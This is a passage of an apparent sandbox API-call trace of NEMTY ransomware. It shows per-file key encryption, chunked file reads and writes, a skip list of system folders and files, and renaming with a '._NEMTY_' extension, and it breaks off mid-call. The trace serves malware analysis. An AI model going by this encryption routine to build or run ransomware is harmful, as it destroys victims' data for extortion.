[0063.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0063.624] Sleep (dwMilliseconds=0x5) [0063.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd992cd50, dwHighDateTime=0x1d561e7)) [0063.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd992cd50, dwHighDateTime=0x1d561e7)) [0063.630] GetLastError () returned 0x5 [0063.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.630] GetLastError () returned 0x5 [0063.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.630] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0063.630] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0063.631] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0063.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0063.631] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="QD/3DftqAXqg+INuut+ELoHw3im67+w4XCLEYfKN1q3pA9KA6t8EbdJStFClELOS\r\nP2pvtQ6mt9kMipgBCYjgQpQ57F2FFAKd/l9xiVNtbTeuypcNyKwLT5+YJuGNxQ1a\r\nckrZg44I7XRToZ07JjegHxrEmlETz/ghQ7wULzA8ujgFfMnKirndqB5FLldPHtSA\r\nOoDfsE8YdywIUMbnX8iDTCVZSTJ9nDD8jPNEBaNjswFHJpHtDwEleVDJRb7DziPC\r\nXxtaYtMo9DJkfXnmgoG7fxx3eqdqVyhv6aqfl/hF6+WeuII/ZW4dwaCD4pXyImPX\r\nTuNu1/SLafmcOr3t0o21sg==\r\n", pcchString=0x653ec5c) returned 1 [0063.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0063.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.631] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.631] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0063.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0063.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0063.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.738] CloseHandle (hObject=0xffffffff) returned 0 [0063.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0063.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0063.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0063.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0063.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.738] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0063.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0063.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.739] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2=".") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="..") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="...") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="windows") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="rsa") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="IO.SYS") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="programdata") returned -1 [0063.739] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="appdata") returned 1 [0063.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0063.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 29 [0063.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0063.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 29 [0063.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0063.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 29 [0063.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_SelectionSubpicture.png", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 29 [0063.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0063.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0063.740] Sleep (dwMilliseconds=0x5) [0063.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd9a5d850, dwHighDateTime=0x1d561e7)) [0063.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd9a5d850, dwHighDateTime=0x1d561e7)) [0063.755] GetLastError () returned 0x5 [0063.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.755] GetLastError () returned 0x5 [0063.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.755] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0063.755] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0063.755] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0063.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0063.756] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: 